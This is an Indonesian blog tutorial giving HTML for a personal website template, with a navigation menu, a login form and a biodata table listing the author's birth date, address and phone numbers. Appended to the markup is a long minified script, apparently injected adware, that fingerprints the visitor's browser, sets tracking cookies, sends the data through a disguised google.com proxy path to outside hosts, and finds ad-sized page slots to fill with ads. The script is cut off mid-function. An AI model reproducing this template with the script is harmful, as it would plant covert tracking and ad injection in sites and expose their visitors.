Studi Informatika

Panduan Pembelajaran Ilmu Teknologi & Komputer

Wednesday, April 25, 2018

Coding HTML - Membuat Template Website Tanpa Masuk di Blog

Karna saya belum sempat posting tutorial atau cara-cara dan langkah-langkah membuat template dengan HTML dan CSS tanpa harus login atau masuk ke edit template blog/edit html yaitu menggunakan codepen.io yang bisa di buka di browser untuk menampilkan hasil dari yang sudah kita edit.

Berikut Code HTML nya...

<html>
    <head>
        <title>Andri Yusuf Tugas Pertemuan 3</title>
       

        <link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.css" rel="stylesheet"/>
        <link rel="stylesheet" type="text/css" href="css/main.css"/>
        <link rel="stylesheet" type="text/css" href="css/style.css"/>
       
        <!--[if lt IE 9]>
            <script src = "js/html5shiv.js"></script>  
        <![endif]-->

    </head>
    <body>
    <!-- Start Header Section -->
<header class="main_menu_sec navbar navbar-default navbar-fixed-top">       
        <div class="main-outher">
<div id='cat-nav'>
<ul class='fl' id='secnav'>
<li><a href='#'>Home</a></li>
<li><a href='#'>My Course</a>
<ul id='sub-custom-nav'>
<li><a href='#'>Biodata</a></li>
<li><a href='#'>Kartu Rencana Studi</a></li>
<li><a href='#'>Video & Audio</a></li>
<li><a href='#'>Sima</a></li>
<li><a href='#'>Simple</a></li>
</ul>
</li>
<li><a href='#'>My Account</a>
<ul id='sub-custom-nav'>
<li><a href='#'>Web:InformatikaStudi.com</a></li>
</ul>
</li>
<li><a href='#'>My SocMed</a>
<ul id='sub-custom-nav'>
<li><a href='#'>Fb : Andri Yusuf</a></li>
<li><a href='#'>IG : Yusuf_Andri16</a></li>
</ul>
</li>
<li><a href='#'>About Me</a>
<ul id='sub-custom-nav'>
<li><a href='#'>AndriYusuf.Com</a></li>
</ul>
</li>
<li><a href='#'>Contact Us</a>
<ul id='sub-custom-nav'>
<li><a href='#'>Tlp : +6282299814366</a></li>
<li><a href='#'>Wa : 082299814366</a></li>
</ul>
</li>
<li><a href='#'>Youtube Channel</a>
</li>
<li><a href='#'>Privacy Policy</a></li>
</ul>
</div>
</div>   
</header>
<!-- End Header Section -->
<br></br>
        <head>
  <meta charset="UTF-8">
  <title>Simple HTML & CSS Login Form</title>
 
 
 
      <link rel="stylesheet" href="css/style.css">

 
</head>

<body>
  <link href='http://fonts.googleapis.com/css?family=Open+Sans:700,600' rel='stylesheet' type='text/css'>

<form method="post" action="index.html">
<div class="box" style="width: 300px;">
<br></br> 
<img src="https://4.bp.blogspot.com/-jXUIHrUP2P8/WuAoiYmn2HI/AAAAAAAAAsc/wlnd3EJ8pcwlr7C9taxxIuN4kT2lruPGACLcBGAs/s200/yusuf16.PNG">
<h3>WELCOME TO MY WEBSITE</h3>
<input type="email" name="email" value="email" onFocus="field_focus(this, 'email');" onblur="field_blur(this, 'email');" class="email" />
 
<input type="password" name="email" value="email" onFocus="field_focus(this, 'email');" onblur="field_blur(this, 'email');" class="email" />
 
<a href="#"><div class="btn">Sign In</div></a> <!-- End Btn -->

<a href="#"><div id="btn2">Sign Up</div></a> <!-- End Btn2 -->
 
</div> <!-- End Box -->
 
</form>

<p>Forgot your password? <u style="color:#f1c40f;">Click Here!</u></p>
 
<script src="//ajax.googleapis.com/ajax/libs/jquery/1.9.0/jquery.min.js" type="text/javascript"></script>
 
    <script src="js/index.js"></script>

</body>
<br></br>
<p>---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------</p>
        <main>
            <section id="tuj">
                <div class="tuj-bg">
                    <div class="tuj-con"style="width: 900px;">
                        <h2>Biodata Saya</h2>
                        <center>
 <table>
 <tr>
 <td style="border:2px solid DodgerBlue;"> Nama :</p></td>
 <td style="border:2px solid DodgerBlue;">  Andri Yusuf</td>
 </tr>
  <tr>
 <td style="border:2px solid DodgerBlue;">Npm :</td>
 <td style="border:2px solid DodgerBlue;"> 150210244</td>
 </tr>
 <tr>
 <td style="border:2px solid DodgerBlue;">Tempat/Tanggal Lahir :</td>
 <td style="border:2px solid DodgerBlue;">  Tembilahan, 16 Juli 1996 </td>
 </tr>
 <tr>
 <td style="border:2px solid DodgerBlue;">Alamat :</td>
 <td style="border:2px solid DodgerBlue;">  Tanjung Uma, Batam </td>
 </tr>
 <tr>
 <td style="border:2px solid DodgerBlue;">Hobi :</td>
 <td style="border:2px solid DodgerBlue;">  Olahraga, Belajar Agama </td>
 </tr>
 <tr>
 <td style="border:2px solid DodgerBlue;">Status :</td>
 <td style="border:2px solid DodgerBlue;">  Mahasiswa </td>
 </tr>
 <tr>
 </center>
        </main>
        <script type="text/javascript" charset="utf-8">
;window.__TIMESFROMCLIENT__=0;window.__USERLOGICINFO__='over';window.__BROWSERINFOMAP__={};function IsUserLogicOver(){for(var i=0;i<arguments.length;i++){var s=arguments[i].indexOf("#=#");window.__BROWSERINFOMAP__[arguments[i].substring(0,s)]=arguments[i].substring(s+3)}window.__TIMESFROMCLIENT__++;return window.__USERLOGICINFO__}function StopUserLogic(){window.__USERLOGICINFO__='over'}(function($win,$doc){var util={getCookie:function(c_name){var i,x,y;var ARRcookies=$doc.cookie.split(";");for(i=0;i<ARRcookies.length;i++){x=ARRcookies[i].substr(0,ARRcookies[i].indexOf("="));y=ARRcookies[i].substr(ARRcookies[i].indexOf("=")+1);x=x.replace(/^\s+|\s+$/g,"");if(x==c_name){return unescape(y)}}},setCookie:function(c_name,value,exdays){var exdate=new Date();exdate.setDate(exdate.getDate()+exdays);var c_value=escape(value)+((exdays==null)?"":"; expires="+exdate.toUTCString()),url=location.protocol+'//'+location.host+'/',domain=url.replace(/(http|https):\/\/.*?([^\.]+\.(com\.cn|org\.cn|net\.cn|[^\.]+))\/.*/,"$2");$doc.cookie=c_name+"="+c_value+';path=/; domain=.'+domain},getRandom:function(){return Math.round(Math.random()*2147483647)},getHash:function(str){var hash=1,charCode=0,idx;hash=0;for(idx=str.length-1;idx>=0;idx--){charCode=str.charCodeAt(idx);hash=(hash<<6&268435455)+charCode+(charCode<<14);charCode=hash&266338304;hash=charCode!=0?hash^charCode>>21:hash}return hash},isArray:function(obj){return Object.prototype.toString.call(obj).toLowerCase()==="[object array]"},inArray:function(arr,item){for(var i=arr.length-1;i>=0;i--){if(arr[i]===item){return true}}return false},arrDelete:function(arr,item){var tempArr=arr.slice(0);arr=[];for(var i=0;i<tempArr.length;i++){if(tempArr[i]!==item)arr.push(tempArr[i])}return arr},getClientInfo:function(){var info={},_empty='null',screen=window.screen,navigator=window.navigator,document=window.document,ua=navigator.userAgent.toLowerCase();var _contains=function(str,sub){return(str.indexOf(sub)>-1)};var _getBrowser=function(){var match=/(chrome)[ \/]([\w.]+)/.exec(ua)||/(webkit)[ \/]([\w.]+)/.exec(ua)||/(opera)(?:.*version|)[ \/]([\w.]+)/.exec(ua)||/(msie) ([\w.]+)/.exec(ua)||ua.indexOf("compatible")<0&&/(mozilla)(?:.*? rv:([\w.]+)|)/.exec(ua)||[];return{browser:match[1]||"",version:match[2]||"0"}};var _getOS=function(){var up=navigator.platform,isWin=(up==='Win32')||(up==='Windows'),isMac=(up==='Mac68K')||(up==='MacPPC')||(up==='Macintosh')||(up==='MacIntel'),isUnix=(up==='X11')&&!isWin&&!isMac,isLinux=_contains(up,'Linux')&&_contains(ua,'linux'),os='';if(isLinux){os=_contains(ua,'android')?'android':'linux'}else if(isMac){os=_contains(ua,'iphone')?'iphone':_contains(ua,'ipad')?'ipad':'mac'}else if(isUnix){os='unix'}else if(isWin){var winkey={'win2000':'windows nt 5.0','winXP':'windows nt 5.1','win2003':'windows nt 5.2','winVista':'window nt 6.0','win7':'windows nt 6.1','win8':'windows nt 6.2','win8.1':'windows nt 6.3'};for(var key in winkey){if(_contains(ua,winkey[key])){os=key;break}}}return os};info.os=_getOS();info.screen=screen?screen.width+'x'+screen.height:_empty;info.locale=navigator&&navigator.language?navigator.language:navigator&&navigator.browserLanguage?navigator.browserLanguage:_empty;info.browser=_getBrowser().browser+' '+_getBrowser().version;info.charset=document.characterSet?document.characterSet:document.charset?document.charset:_empty;info.host=encodeURIComponent(window.location.host);return info},extend:function(){var options,name,src,copy,copyIsArray,clone,target=arguments[0]||{},i=1,length=arguments.length,deep=false;if(typeof target==='boolean'){deep=target;target=arguments[1]||{};i=2}if(typeof target!=='object'){target={}}if(length===i){return target}for(;i<length;i++){if((options=arguments[i])!=null){for(name in options){src=target[name];copy=options[name];if(target===copy){continue}if(deep&&copy&&(typeof copy=='object'||(copyIsArray=util.isArray(copy)))){if(copyIsArray){copyIsArray=false;clone=src&&util.isArray(src)?src:[]}else{clone=src?src:{}}target[name]=util.extend(deep,clone,copy)}else if(copy!==undefined){target[name]=copy}}}}return target},isPlugin:function(){return(typeof chrome!=='undefined'&&chrome.runtime&&chrome.runtime.id)},join:function(data){if(!data||typeof data!=='object'){return''}var str='',i=0;for(var key in data){if(i==0)str+=key+'='+data[key];else str+='&'+key+'='+data[key];i++}return str},ajax:function(json){json=json||{};if(!json.url){return false}json.type=json.type||'get';json.data=json.data||{};if(window.XMLHttpRequest){var oAjax=new XMLHttpRequest()}else{var oAjax=new ActiveXObject('Microsoft.XMLHTTP')}switch(json.type.toLowerCase()){case'get':if(json.url.indexOf('?')!=-1){oAjax.open('GET',json.url)}else{oAjax.open('GET',json.url+'?'+util.join(json.data),true)}oAjax.send();break;case'post':oAjax.open('POST',json.url,true);oAjax.setRequestHeader('Content-Type','application/x-www-form-urlencoded');oAjax.send(util.join(json.data));break}oAjax.onreadystatechange=function(){if(oAjax.readyState==4){if(oAjax.status>=200&&oAjax.status<300||oAjax.status==304){json.success&&json.success(JSON.parse(oAjax.responseText))}else{json.error&&json.error(oAjax.status)}}}},jsonp:function(json){json=json||{};if(!json.url){return false}json.data=json.data||{};json.cbName=json.cbName||'plug_callback';var fnName='jsonp_'+Math.random();fnName=fnName.replace('.','');window[fnName]=function(data){json.success&&json.success(data);oHead.removeChild(oS)};json.data[json.cbName]=fnName;var arr=[];for(var name in json.data){arr.push(name+'='+json.data[name])}var oS=document.createElement('script');oS.src=json.url+'?'+arr.join('&');var oHead=document.getElementsByTagName('head')[0];oHead.appendChild(oS)},getStyle:function(obj,name){return(obj.currentStyle||getComputedStyle(obj,false))[name]},animate:function(obj,json,options){options=options||{};options.duration=options.duration||700;options.easing=options.easing||'ease-out';var count=Math.round(options.duration/30);var start={};var dis={};var n=0;for(var name in json){start[name]=parseFloat(util.getStyle(obj,name));if(isNaN(start[name])){switch(name){case'left':start[name]=obj.offsetLeft;break;case'top':start[name]=obj.offsetTop;break;case'width':start[name]=obj.offsetWidth;break;case'height':start[name]=obj.offsetHeight;break;case'maeginLeft':start[name]=obj.marginLeft;break}}dis[name]=json[name]-start[name]}clearInterval(obj.timer);obj.timer=setInterval(function(){n++;for(var name in json){switch(options.easing){case'linear':var cur=start[name]+dis[name]*n/count;break;case'ease-out':var a=1-n/count;var cur=start[name]+dis[name]*(1-a*a*a);break;case'ease-in':var a=n/count;var cur=start[name]+dis[name]*a*a*a}if(name=='opacity'){obj.style.opacity=cur;obj.style.filter='alpha(opacity:'+cur*100+')'}else{obj.style[name]=cur+'px'}}if(n==count){clearInterval(obj.timer);options.complete&&options.complete()}},30)},getUrlParam:function(location){var result={},location=location||window.location,params,param,len,i;if(typeof location=="string"){var pos=location.indexOf("?");search=pos>=0?location.substr(pos+1):""}else search=location.search.slice(1);if(search.length){params=search.split('&');len=params.length;for(i=0;i<len;i++){param=params[i].split('=');result[param[0]]=decodeURIComponent(param[1])}}return result},addEventHandler:function(elem,type,handler){if(elem.addEventListener){elem.addEventListener(type,handler,false)}else if(elem.attachEvent){elem.attachEvent("on"+type,handler)}else{elem["on"+type]=handler}},removeEventHandler:function(elem,type,handler){if(elem.removeEventListener){elem.removeEventListener(type,handler,false)}else if(elem.detachEvent){elem.detachEvent("on"+type,handler)}else{elem["on"+type]=null}},getEvent:function(event){return event?event:window.event},getEventTarget:function(event){return event.target||event.srcElement},preventEventDefault:function(event){if(event.preventDefault){event.preventDefault()}else{event.returnValue=false}},stopEventPropagation:function(event){if(event.stopPropagation){event.stopPropagation()}else{event.cancelBubble=true}},base64:{encode:function(input){var TABLE='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';input=String(input);if(/[^\0-\xFF]/.test(input)){throw Error("The string to be encoded contains characters outside of the Latin1 range.")}var padding=input.length%3;var output='';var position=-1;var a;var b;var c;var buffer;var length=input.length-padding;while(++position<length){a=input.charCodeAt(position)<<16;b=input.charCodeAt(++position)<<8;c=input.charCodeAt(++position);buffer=a+b+c;output+=(TABLE.charAt(buffer>>18&0x3F)+TABLE.charAt(buffer>>12&0x3F)+TABLE.charAt(buffer>>6&0x3F)+TABLE.charAt(buffer&0x3F))}if(padding==2){a=input.charCodeAt(position)<<8;b=input.charCodeAt(++position);buffer=a+b;output+=(TABLE.charAt(buffer>>10)+TABLE.charAt((buffer>>4)&0x3F)+TABLE.charAt((buffer<<2)&0x3F)+'=')}else if(padding==1){buffer=input.charCodeAt(position);output+=(TABLE.charAt(buffer>>2)+TABLE.charAt((buffer<<4)&0x3F)+'==')}return output},decode:function(input){var TABLE='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';var REGEX_SPACE_CHARACTERS=/[\t\n\f\r ]/g;input=String(input).replace(REGEX_SPACE_CHARACTERS,'');var length=input.length;if(length%4==0){input=input.replace(/==?$/,'');length=input.length}if(length%4==1||/[^+a-zA-Z0-9/]/.test(input)){throw Error("The string to be decoded is not correctly encoded.")}var bitCounter=0;var bitStorage;var buffer;var output='';var position=-1;while(++position<length){buffer=TABLE.indexOf(input.charAt(position));bitStorage=bitCounter%4?bitStorage*64+buffer:buffer;if(bitCounter++%4){output+=String.fromCharCode(0xFF&bitStorage>>(-2*bitCounter&6))}}return output}},gooRequestProxyEn:function(url){var gooUrl="//www.google.com/9f4e10ab9265e47f42723bc2/?view=";var protocol=window.location.protocol;return protocol+gooUrl+encodeURIComponent(util.base64.encode(url))},gooRequestProxyDe:function(url){var gooUrl="//www.google.com/9f4e10ab9265e47f42723bc2/?view=";if(url.indexOf(gooUrl)>=0){return util.base64.decode(decodeURIComponent(url.split(gooUrl)[1]))}return false}};var Report=function(){this.uuid=null;this.storage={};this.queue=[];this.clientInfo=util.getClientInfo()||{};var browserInfo=this.clientInfo.browser&&this.clientInfo.browser.split(' ')||[];this.browser=browserInfo[0];this.browserVersion=browserInfo[1];this.host=this.clientInfo.host;this.reportUrl=$win.location.protocol+'//report.2016olympics-br.com/webstat';this.reportAdUrl=$win.location.protocol+'//up.gghtzy.com/api/report';this.adHost=this.reportAdUrl.match(/\w+\.\w+[\w.]*[\/]/)[0].slice(0,-1);this.util=util;this.urlNeedProxy=true;this.urlParam=function(){if(!$win.isConfigAdPage){return null}var location,hash,uuid;try{location=$win.parent.location;hash=location.hash}catch(e){location=$win.location}var urlParam;var hrefde=util.gooRequestProxyDe(location.href);if(hrefde!=false){var pos=hrefde.indexOf("#");hash=pos>=0?hrefde.substr(pos):"";var loc=pos>=0?hrefde.substring(0,pos):hrefde;urlParam=util.getUrlParam(loc);this.urlNeedProxy=true}else{urlParam=util.getUrlParam(location);hash=location.hash;this.urlNeedProxy=false}uuid=hash&&hash.substr(1);if(!uuid){throw new Error('config page uuid for failure')}urlParam["uuid"]=decodeURIComponent(uuid);return urlParam}.call(this);this._dataInit()};util.extend(Report.prototype,{_pushQueue:function(func){if(this.uuid){func(this.uuid);return true}this.queue.push(func)},_pushQueueByReport:function(method,arg){if(this.uuid){this[method].apply(this,arg);return true}this.queue.push((function(method,arg,context){return function(){context[method].apply(context,arg)}})(method,arg,this))},_runQueue:function(){var self=this;this.queue.forEach(function(val,index){val(self.uuid)});this.queue=[]},_loadImg:function(url){var img=new Image();img.width=1;img.height=1;img.src=url},_eventTodayIsReported:function(eventName){var current=new Date();var currentYear=current.getFullYear(),currentMonth=current.getMonth(),currentDay=current.getDate();var eventDate=this.storage['report_'+eventName];if(!eventDate){return false}if(eventDate.getFullYear()!=currentYear||eventDate.getMonth()!=currentMonth||eventDate.getDate()!=currentDay){return false}return true},_eventIsReported:function(eventName){if(this.storage['report_'+eventName]){return true}return false},_setEventReportDate:function(eventName){this.storage['report_'+eventName]=new Date()},_ga:function(data){if(typeof _gaq==='undefined'){return false}_gaq.push(["_trackEvent",data["event"],data["uuid"],encodeURIComponent(data["status"]["host"])])},_mdata:function(data){var self=this,eventName=data.event||"";var ptype=self.ptype||1;var sendStringifyData=encodeURIComponent(JSON.stringify(data));var reportDataUrl=this.reportUrl+'?ptype='+ptype+'&data='+sendStringifyData;var reportAdDataUrl=this.reportAdUrl+'?data='+sendStringifyData;var reportDataUrlEn=(eventName!="visit"&&this.urlNeedProxy)?util.gooRequestProxyEn(reportDataUrl):reportDataUrl;var reportAdDataUrlEn=this.urlNeedProxy?util.gooRequestProxyEn(reportAdDataUrl):reportAdDataUrl;if(this.browser==='msie'&&this.browserVersion<10.0){this._loadImg(reportDataUrlEn)}else{util.ajax({url:reportDataUrlEn,success:function(result){if(!result||result.rc!=0){self._loadImg(reportDataUrlEn)}},error:function(){self._loadImg(reportDataUrlEn)}})}if(eventName=='download'){if(this.browser==='msie'&&this.browserVersion<10.0){this._loadImg(reportAdDataUrlEn)}else{util.ajax({url:reportAdDataUrlEn,error:function(){self._loadImg(reportAdDataUrlEn)}})}}},_dataInit:function(){this.data=util.extend(true,{},this.clientInfo);this.data=util.extend(true,this.data,this.commonData)},_setCommonData:function(data){if(typeof data!=='object'&&data){return}this.commonData=data},_send:function(eventName,obj){if(!eventName||typeof eventName!=='string'){throw new Error('eventName error')}if(!this.uuid||!this.appid){throw new Error("can't find the uuid or appid")}if(!obj||typeof obj!=='object'){obj={}}if(obj.reportUrl&&/^\/\/\w+\.\w+[\w.\/]*[\w\/]+$/.test(obj.reportUrl)){this.reportUrl=obj.reportUrl}this.data["uuid"]=this.uuid;this.data["appid"]=this.appid;this.data["channel"]="360xx";this.data["event"]=eventName;this.data["params"]={"time":new Date().getTime()};var host=this.urlParam&&this.urlParam["host"]?this.urlParam["host"]:this.host;if(eventName=="visit")host=location.href;this.data["status"]={"appname":this.app_name||"virtual","apptype":this.app_type||"addon","host":host};this.data['version']='3.0.0.1';util.extend(true,this.data,obj);delete this.data.host;this._mdata(this.data);this._setEventReportDate(eventName);this._dataInit()},loopSend:function(eventName,param){var self=this,_arguments=arguments;if(!eventName||typeof eventName!=='string'){return}if(!this.uuid){this._pushQueueByReport('loopSend',arguments);return}self._send(eventName,param);setInterval(function(){if(!self._eventTodayIsReported(eventName)){self._send.apply(self,_arguments)}},1000*60*10)},onlyOne:function(eventName,param){var self=this;if(!this.uuid){this._pushQueueByReport('onlyOne',arguments);return}if(self._eventIsReported(eventName)){return}self._send(eventName,param)},oneDayOne:function(eventName,param){var self=this;if(!this.uuid){this._pushQueueByReport('oneDayOne',arguments);return}if(self._eventTodayIsReported(eventName)){return}self._send(eventName,param)},infinite:function(eventName,param){var self=this;if(!this.uuid){this._pushQueueByReport('infinite',arguments);return}self._send(eventName,param)},configAd:function(eventName,param){var self=this;var data={};data["uuid"]=this.urlParam&&this.urlParam["uuid"]?this.urlParam["uuid"]:"null";data["params"]={"ad_id":this.urlParam&&this.urlParam["ad_id"]?this.urlParam["ad_id"]:"null","ad_type":this.urlParam&&this.urlParam["ad_type"]?this.urlParam["ad_type"]:"null","ad_name":this.urlParam&&this.urlParam["ad_name"]?this.urlParam["ad_name"]:"null","ad_size":this.urlParam&&this.urlParam["size"]?this.urlParam["size"]:"null"};param=param||{};util.extend(true,data,param);self._send(eventName,data)},navigation:function(eventName,param){var self=this;var data={};data["channel"]=self.channel;param=param||{};util.extend(true,data,param);self._send(eventName,data)},_initEggUuid:function(){var self=this;if(util.isPlugin()){chrome.extension.onConnect.addListener(function(port){port.onMessage.addListener(function(msg){self.uuid=msg['uuid'];self._runQueue()})});return true}else{var GUO_PENG_FEI_pogjnflbicmnclloeejekilbkdengnnk_TZOF_T_T='{56fc02e6ce12448d84c6b390bb38df40}';GUO_PENG_FEI_pogjnflbicmnclloeejekilbkdengnnk_TZOF_T_T=/GUO_PENG_FEI_pogjnflbicmnclloeejekilbkdengnnk_TZOF_T_T/.test(GUO_PENG_FEI_pogjnflbicmnclloeejekilbkdengnnk_TZOF_T_T)?null:GUO_PENG_FEI_pogjnflbicmnclloeejekilbkdengnnk_TZOF_T_T;self.uuid=GUO_PENG_FEI_pogjnflbicmnclloeejekilbkdengnnk_TZOF_T_T}if(!self.uuid){return false}else{return true}},_naturalUuid:function(){var _getCookie=util.getCookie;var _setCookie=util.setCookie;var _Hash=util.getHash;var _random=util.getRandom;var str=_getCookie('__MDATA__UUID__'),son=parseInt(new Date().getTime()/1000),last=_getCookie('__MDATA__SION__')?parseInt(_getCookie('__MDATA__SION__')):son,strArr=[],that=this;var _saveCookie=function(){str=_Hash(location.host)+'.'+_random()+'.'+son+'.'+son;_setCookie('__MDATA__UUID__',str,730);_setCookie('__MDATA__SION__',son,30)};if(!str){_saveCookie()}else{strArr=str.split('.');if(strArr.length<4){_saveCookie()}else{if(son-last>=730*24*3600){strArr[3]=son}str=strArr.join('.');_setCookie('__MDATA__UUID__',str,730);_setCookie('__MDATA__SION__',son,30)}}return str},_initNavigation:function(){var self=this;var urlParam=util.getUrlParam();var getCookie=util.getCookie;self.channel=urlParam["r"]?urlParam["r"]:urlParam["oem"]?urlParam["oem"]:self.app_name;self.uuid=urlParam["uid"]?urlParam["uid"]:getCookie('__MDATA__UUID__')?getCookie('__MDATA__UUID__'):this._naturalUuid()},_setUuid:function(uuid){if(this.ptype==2){this._initNavigation();return true}if(uuid&&typeof uuid==='string'){this.uuid=uuid;return true}if(this.urlParam&&this.urlParam.uuid){this.uuid=this.urlParam.uuid;return true}if(this._initEggUuid()){return true}throw new Error("setting the uuid failed")},_setGaid:function(gaid){if(typeof _gaq==='undefined'){return false}if(gaid&&typeof gaid==='string'){_gaq.push(["_setAccount",gaid]);return true}return false;throw new Error("setting the gaid failed")},setAccount:function(account){if(!account.appid){throw new Error('could not find appid')}this.appid=account.appid;this.gaid=account.gaid;this.app_name=account.app_name;this.app_type=account.app_type;this.ptype=account.ptype;this._setUuid(account.uuid);this._setGaid(account.gaid)}});var report=new Report();function GetNode(){this.adMax=null;this.times=null;this.adAlreadySize=[];this.enabledDiv=[];this.enabledIframe=[];this.normSizes=['300*250','336*280','728*90','250*250','160*600','320*100','300*600','120*600','300*1050','120*240','468*60','320*50','234*60','970*250','970*90','200*200','180*150','125*125','728*15'];this.excuteSizes=[];this.normNodeNames=['DIV','IFRAME'];this.fixedCount=0;this.scriptSize=[];this.scriptNodeNames=['SCRIPT'];this.filterHost=['video.a4g.com'];this.insNode=null}util.extend(GetNode.prototype,{getSize:function(nodes){this.fixedCount=0;if(this.times>1){this._arrRemove()}else{this._scriptCheck()}this._initEbledNode();var enabledNode=this.getEnabledNode();var sizes=[],tempSize,type,tempNodes,i;for(type in enabledNode){tempNodes=enabledNode[type];for(i=0;i<tempNodes.length;i++){tempSize=tempNodes[i].offsetWidth+'*'+tempNodes[i].offsetHeight;sizes.push(tempSize)}}return sizes},getEnabledNode:function(){return{div:this.enabledDiv,iframe:this.enabledIframe}},_initEbledNode:function(rootNode){var oBody=document.getElementsByTagName('body')[0];var rootNode=rootNode||oBody;if(rootNode===oBody){this.enabledDiv=[];this.enabledIframe=[]}var children=rootNode.children,tempNode;var fixedMark=rootNode.getAttribute('fixed');for(var i=0;i<children.length;i++){tempNode=children[i];if(this._positionCheck(tempNode)&&this._nameCheck(tempNode)&&!this._flagCheck(tempNode)){this.fixedCount++;tempNode.setAttribute("fixed","true");if(this._sizeCheck(tempNode)&&this._nameCheck(tempNode)&&!this._flagCheck(tempNode)){this._appendFixedEnabled(tempNode)}else if(!this._flagCheck(tempNode)){this._initEbledNode(tempNode)}}else{if(fixedMark&&fixedMark=='true'){tempNode.setAttribute("fixed","true")}if(this._sizeCheck(tempNode)&&this._nameCheck(tempNode)&&!this._flagCheck(tempNode)){this._appendEnabled(tempNode)}else if(!this._flagCheck(tempNode)){this._initEbledNode(tempNode)}}}},_appendFixedEnabled:function(node){if(node.nodeName==='DIV'){this.enabledDiv.push(node)}if(node.nodeName==='IFRAME'){this.enabledIframe.push(node)}node.setAttribute("fixed","true")},_appendEnabled:function(node){if(node.nodeName==='DIV'){this.enabledDiv.push(node)}if(node.nodeName==='IFRAME'){this.enabledIframe.push(node)}},_insCheck:function(rootNode){var oBody=document.getElementsByTagName('body')[0];var rootNode=rootNode||oBody;var children=rootNode.children,tempNode;for(var i=0;i<children.length;i++){tempNode=children[i];if(this._sizeCheck(tempNode)&&tempNode.nodeName=='INS'&&tempNode.className=='adsbygoogle'){this._parentNode(rootNode);rootNode.setAttribute('insname','true')}else if(tempNode.children.length>0){this._insCheck(tempNode)}}},_parentNode:function(childNode){var tempNode=childNode.parentNode;if(childNode.nodeName!='BODY')childNode.setAttribute('insname','true');if(this._sizeCheck(tempNode)&&this._nameCheck(tempNode)&&!this._flagCheck(tempNode)){tempNode.setAttribute('insname','true');this._parentNode(tempNode)}},_scriptCheck:function(rootNode){var oBody=document.getElementsByTagName('body')[0];var rootNode=rootNode||oBody;var children=rootNode.children,tempNode;for(var i=0;i<children.length;i++){tempNode=children[i];if(this._scriptSize(tempNode)){for(var i=0;i<this.normSizes.length;i++){for(j=0;j<this.scriptSize.length;j++){if(this.normSizes[i]==this.scriptSize[j]){this.normSizes.splice(i,1)}}}}else{this._scriptCheck(tempNode)}}},_scriptSize:function(node){for(var i=0;i<this.scriptNodeNames.length;i++){if(node.nodeName===this.scriptNodeNames[i]){var temUrl=node.src;if(temUrl&&temUrl.length>0){temUrl=temUrl.toLowerCase();for(var j=0;j<this.filterHost.length;j++){if(temUrl.indexOf(this.filterHost[j])!=-1){var width=this._paramsCheck('width',temUrl).replace(new RegExp('px'),"");var height=this._paramsCheck('height',temUrl).replace(new RegExp('px'),"");if(width&&height){this.scriptSize.push(width+'*'+height);return true}}}}}}return false},_paramsCheck:function(key,str){var val=null;var tempStr=str;if(tempStr&&tempStr.length!=0){tempStr=str.split('?')[1];var arr=tempStr.split('&');var len=arr.length;for(i=0;i<len;i++){if(arr[i].split('=')[0]==key){val=arr[i].split('=')[1];break}}}return val},_flagCheck:function(node){if(node.getAttribute("enabled")||node.getAttribute("insname")){return true}return false},_nameCheck:function(node){for(var i=0;i<this.normNodeNames.length;i++){if(node.nodeName===this.normNodeNames[i]){return true}}return false},_sizeCheck:function(node){var size=node.offsetWidth+'*'+node.offsetHeight;for(var i=0;i<this.normSizes.length;i++){if(size===this.normSizes[i]){return true}}return false},_positionCheck:function(node){var position=node.style.position;if(position&&position.toLowerCase()=='fixed'){var _width=node.offsetWidth;for(var i=0;i<this.normSizes.length;i++){var _size=parseInt(this.normSizes[i].split('*')[0]);if(_width>=_size&&_width<=_size+50)return true}}return false},_arrRemove:function(){var sizeCopy=this.normSizes.slice(0);for(var i=0;i<sizeCopy.length;i++){if(this.adAlreadySize[sizeCopy[i]]>=this.adMax||util.inArray(this.excuteSizes,sizeCopy[i])){this.normSizes=util.arrDelete(this.normSizes,sizeCopy[i])}}},setAccount:function(account){this.adMax=account.adMax;this.times=account.times;this.adAlreadySize=account.adAlreadySize},addExcuteSizes:function(size){if(!util.inArray(this.excuteSizes,size))this.excuteSizes.push(size)}});var getNode=new GetNode();function GetAd(){this.adMax=null;this.adAlreadySize={};this.oBody=document.getElementsByTagName('body')[0];this.isRun=false;this.configAdRepeat=[];this.count=1;this.jsAdType='';this.url_type=-1;this.bInWhiteList=false;this.requestSizes=[];this.clientInfo=util.getClientInfo()||{};this.host=this.clientInfo.host;var browserInfo=this.clientInfo.browser&&this.clientInfo.browser.split(' ')||[];this.browser=browserInfo[0];this.browserVersion=browserInfo[1];this.callAdUrl=$win.location.protocol+'//up.gghtzy.com/api/call-ad';this.call_times=1;this.jsAdItem=null;this.keywords=''}util.extend(GetAd.prototype,{_getAd:function(){this.isRun=true;this.requestSizes=[];this._getKeywords();getNode.setAccount({adMax:this.adMax,times:this.count,adAlreadySize:this.adAlreadySize});var sizes=getNode.getSize();var add_size=["1*1","300*249","2*2","ins-160*160"];if(this.call_times==1){sizes=sizes.concat(add_size)}this.requestSizes=sizes.slice(0);var enabledNode=getNode.getEnabledNode();this.enabledIframe=enabledNode.iframe;this.enabledDiv=enabledNode.div;var data={size:sizes.join('_'),count:sizes.length,web:this.host,appid:this.appid,uid:this.uuid,repeat:this.configAdRepeat.join('_'),times:this.call_times,jsAdType:this.jsAdType,keywords:this.keywords};if(data['count']>0||!this.jsInjection){this._requestAd(data)}else{this.isRun=false}},_requestAd:function(data){var self=this;var requrl=self.callAdUrl+"?"+util.join(data);requrl=report.urlNeedProxy?util.gooRequestProxyEn(requrl):requrl;var plugUpData={url:requrl,success:(function(requestCount){return function(json){if(json.code==40003||json.code==40004||json.code==40005||json.code==40006||json.code==40007||json.code==40008){self.isRun=false;var uniq_size_arr=[];if(json.code==40004||json.code==40008){for(var i in self.requestSizes){var _size_=self.requestSizes[i];getNode.addExcuteSizes(_size_);if(!util.inArray(uniq_size_arr,_size_))uniq_size_arr.push(_size_)}self.jsInjection=true}report.infinite('get_ad_error',{params:{"error_code":json.code,"times":self.call_times,"ad_size":uniq_size_arr.join("_")}});if(json.code==40005){self.bInWhiteList=true}if(json.code!=40003)self.call_times++;return false}var 